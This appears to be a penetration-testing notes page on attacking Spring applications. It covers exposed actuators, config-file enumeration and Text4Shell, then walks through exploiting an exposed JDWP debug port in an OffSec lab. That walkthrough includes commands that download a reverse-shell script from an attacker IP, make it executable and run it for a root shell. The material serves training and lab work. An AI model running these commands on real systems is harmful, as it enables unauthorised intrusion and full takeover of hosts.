Spring

101

Technology
Description

A framework for building Java applications.

A Spring extension that simplifies the configuration of Spring apps by providing defaults and conventions to minimize the boilerplate code required.

Recon

The default error page (/error) for Spring applications:

Attacks

Actuators

Spring Boot's actuators is a set of built-in monitoring and debugging features and its endpoints should not be public facing. For instance, /actuator/sessions lists active HTTP Spring sessions. For an example of leveraging an actuator for session hijacking see Cozyhosting.

Config Files

Spring applications will load properties from the application.properties file which is typically under the webroot (/) or the config subdirectory. This file can contain sensitive information, such as credentials and database information. We can use Burp Intruder to enumerate this file.

The example below is based on OffSec's WEB-200 course, more specifically, the Asio lab.

Apache Commons

Apache Commons Text is a part of the larger Apache Commons project, which provides reusable Java components. Specifically, Commons Text offers utility classes for advanced string manipulation. While not part of the Spring Framework itself, it is commonly included in Spring-based applications due to its useful text processing features.

Apache Commons Text from 1.5 up to 1.9 are vulnerable to Text4Shell (CVE-2022-42889). There is a PoC available written for POST requests and using the data parameter. A modified version of the PoC is also available allowing for more flexibility.

JDWP

Java Debug Wire Protocol (JDWP) is a protocol used by the Java Platform Debugger Architecture (JPDA) to enable communication between a debugger and a Java application. It is typically used during development to inspect and control Java programs. While JDWP is not specific to Spring, it can be exposed in Spring-based applications—especially in misconfigured environments or containerized deployments. If left open in production (commonly on port 5005), JDWP can be exploited by attackers to execute arbitrary code, inspect memory, or gain full control over the JVM.

The identification process of a JDWP process goes like this:

  1. We’re in a Java web app:

# TCP port scan reveals the use of the Spring framework
8080/tcp open  http    Apache Tomcat (language: en)
|_http-open-proxy: Proxy might be redirecting requests
|_http-favicon: Spring Java Framework
  1. We find a local open port with no response from manual probbing:

# Unknown local port
$ netstat -aln
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN
  1. There’s a Java process running as root:

$ lsof -i :8000
COMMAND   PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
java      851 root   15u  IPv4 151467      0t0  TCP localhost:8000 (LISTEN)
  1. We suspect this might be debug-related:

$ ps aux | grep 8000
root         851  0.0  3.9 2537196 79896 ?       Ssl  06:06   0:06 java -Xdebug -Xrunjdwp:transport=dt_socket,address=8000,server=y /opt/stats/App.java

The above pattern should trigger the “Maybe it’s JDWP” instinct.

There is a PoC available but we might have to dig a bit more in order to successfully use it. This PoC waits for an event to be triggered in order to achieve RCE; we will have to enumerate the port from which we can do that.

$ ss -tunlp

Netid State  Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
...
# This is our port forward
tcp   LISTEN 0      1  127.0.0.1:8000      0.0.0.0:*    users:(("java",pid=851,fd=15))
# This is unknown, thus, potentially the JDWP port!
tcp   LISTEN 0      50         *:5000            *:*    users:(("java",pid=851,fd=10))
# This is the web application
tcp   LISTEN 0      100        *:8080            *:*    users:(("java",pid=834,fd=11))

We can then check what the Java process is doing:

$ ps aux | grep java
dev          834  0.7 27.4 2613260 555380 ?      Ssl  06:06   3:53 java -jar /opt/dev/api.jar
root         851  0.0  3.8 2537196 77344 ?       Ssl  06:06   0:07 java -Xdebug -Xrunjdwp:transport=dt_socket,address=8000,server=y /opt/stats/App.java

Enumerating the outputted paths confirms that the port 5000 is what we are searching for:

$ ls -la /opt/dev
...
-rw-r--r-- 1 root root 17383754 Nov  7  2022 api.jar

$ cat App.java | grep 5000
            ServerSocket echod = new ServerSocket(5000);

Now we can use the PoC and gain a root shell on the target:

# Upload a reverse shell script via the JDWP vulnerability
$ python2 jdwp-shellifier.py -t 127.0.0.1 -p 1234 --cmd 'wget 192.168.45.154:8888/revshell.sh -O /tmp/revshell.sh'
...
[+] Waiting for an event on 'java.net.ServerSocket.accept'
$ curl http://berlin:5000
curl: (1) Received HTTP/0.9 when not allowed
$ python2 jdwp-shellifier.py -t 127.0.0.1 -p 1234 --cmd 'wget 192.168.45.154:8888/revshell.sh -O /tmp/revshell.sh'
...
[!] Command successfully executed

Repeat the same process for assigning the right permissions to the file and then execute it:

# Assign executable permissions to the uploaded file
$ python2 jdwp-shellifier.py -t 127.0.0.1 -p 1234 --cmd 'chmod 700 /tmp/revshell.sh'
# Execute the file
$ python2 jdwp-shellifier.py -t 127.0.0.1 -p 1234 --cmd 'bash /tmp/revshell.sh'

Last updated

Was this helpful?